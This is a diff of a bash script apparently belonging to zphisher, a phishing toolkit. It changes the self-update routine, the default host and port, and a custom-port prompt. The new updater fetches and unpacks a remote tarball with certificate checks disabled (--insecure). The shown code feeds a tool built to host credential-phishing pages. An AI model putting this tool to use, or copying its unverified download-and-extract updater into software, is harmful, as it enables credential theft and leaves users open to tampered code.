9292
9393__version__=" 2.3.2"
9494
95+ # # DEFAULT HOST & PORT
96+ HOST=' 127.0.0.1'
97+ PORT=' 8080'
98+
9599# # ANSI colors (FG & BG)
96100RED=" $( printf ' \033[31m' ) " GREEN=" $( printf ' \033[32m' ) " ORANGE=" $( printf ' \033[33m' ) " BLUE=" $( printf ' \033[34m' ) "
97101MAGENTA=" $( printf ' \033[35m' ) " CYAN=" $( printf ' \033[36m' ) " WHITE=" $( printf ' \033[37m' ) " BLACK=" $( printf ' \033[30m' ) "
@@ -100,6 +104,8 @@ MAGENTABG="$(printf '\033[45m')" CYANBG="$(printf '\033[46m')" WHITEBG="$(prin
100104RESETBG=" $( printf ' \e[0m\n' ) "
101105
102106# # Directories
107+ BASE_DIR=$( realpath " $( dirname " $BASH_SOURCE " ) " )
108+
103109if [[ ! -d " .server" ]]; then
104110mkdir -p " .server"
105111fi
@@ -159,15 +165,22 @@ kill_pid() {
159165check_update (){
160166echo -ne " \n${GREEN} [${WHITE} +${GREEN} ]${CYAN} Checking for update : "
161167relase_url=' https://api.github.com/repos/htr-tech/zphisher/releases/latest'
168+ new_version=$( curl -s " ${relase_url} " | grep ' "tag_name":' | awk -F\" ' {print $4}' )
169+ tarball_url=https://github.com/htr-tech/zphisher/archive/refs/tags/${new_version} .tar.gz
162170
163- if [[ $( curl -s $relase_url | grep ' "tag_name": ' | awk -F \" ' {print $4} ' ) != $__version__ ]]; then
171+ if [[ $new_version != $__version__ ]]; then
164172echo -ne " ${ORANGE} update found\n" ${WHITE}
165- sleep 1
166- echo -ne " \n${GREEN} [${WHITE} +${GREEN} ]${ORANGE} Updating..."
167- git pull origin master
168- { clear; banner_small; }
169- echo -ne " \n${GREEN} [${WHITE} +${GREEN} ] Successfully updated! Run zphisher again" ${WHITE}
170- exit
173+ sleep 2
174+ echo -ne " \n${GREEN} [${WHITE} +${GREEN} ]${ORANGE} Downloading Update..."
175+ pushd " $BASE_DIR /.." > /dev/null 2>&1
176+ curl --silent --insecure --fail --retry-connrefused \
177+ --retry 3 --retry-delay 2 --location --output " .zphisher.tar.gz" " ${tarball_url} "
178+ [[ -e " .zphisher.tar.gz" ]] && tar -xf .zphisher.tar.gz -C " $BASE_DIR " --strip-components 1 > /dev/null 2>&1
179+ rm -f .zphisher.tar.gz
180+ popd > /dev/null 2>&1
181+ { sleep 3; clear; banner_small; }
182+ echo -ne " \n${GREEN} [${WHITE} +${GREEN} ] Successfully updated! Run zphisher again\n\n" ${WHITE}
183+ { reset_color ; exit 1; }
171184else
172185echo -ne " ${GREEN} up to date\n${WHITE} " ; sleep .5
173186fi
@@ -380,34 +393,26 @@ about() {
380393esac
381394}
382395
383- # # Setup website and start php server
384- HOST=' 127.0.0.1'
385- # DEFAULT PORT
386- PORT=' 8080'
387-
388- # CUSTOM PORT
396+ # # Choose custom port
389397cusport () {
390- echo " "
398+ echo
391399read -n1 -p " ${RED} [${WHITE} ?${RED} ]${ORANGE} Do You Want A Custom Port ${GREEN} [${CYAN} y${GREEN} /${CYAN} N${GREEN} ]: ${ORANGE} " P_ANS
392400if [[ ${P_ANS} =~ ^([yY])$ ]]; then
393- printf " \n \n"
394- read -n4 -p " ${RED} [${WHITE} -${RED} ]${ORANGE} Enter Your Custom 4-digit Port 1024-9999 : ${WHITE} " CU_P
401+ echo -e " \n"
402+ read -n4 -p " ${RED} [${WHITE} -${RED} ]${ORANGE} Enter Your Custom 4-digit Port [ 1024-9999] : ${WHITE} " CU_P
395403if [[ ! -z ${CU_P} && " ${CU_P} " =~ ^([1-9][0-9][0-9][0-9])$ && ${CU_P} -ge 1024 ]]; then
396404PORT=${CU_P}
397- echo " "
405+ echo
398406else
399407echo -ne " \n\n${RED} [${WHITE} !${RED} ]${RED} Invalid 4-digit Port : $CU_P , Try Again...${WHITE} "
400408{ sleep 2; clear; banner; cusport; }
401- fi
402- elif [[ ${P_ANS} =~ ^([Nn])$ ]]; then
403- echo -ne " \n\n${RED} [${WHITE} -${RED} ]${BLUE} Using Default Port : $PORT ...${WHITE} "
404- echo " "
409+ fi
405410else
406- echo " "
407- echo -ne " \n${RED} [${WHITE} !${RED} ]${RED} Invalid Option, Try Again...${WHITE} "
408- cusport
411+ echo -ne " \n\n${RED} [${WHITE} -${RED} ]${BLUE} Using Default Port $PORT ...${WHITE} \n"
409412fi
410413}
414+
415+ # # Setup website and start php server
411416setup_site () {
412417echo -e " \n${RED} [${WHITE} -${RED} ]${BLUE} Setting up server..." ${WHITE}
413418cp -rf .sites/" $website " /* .server/www
0 commit comments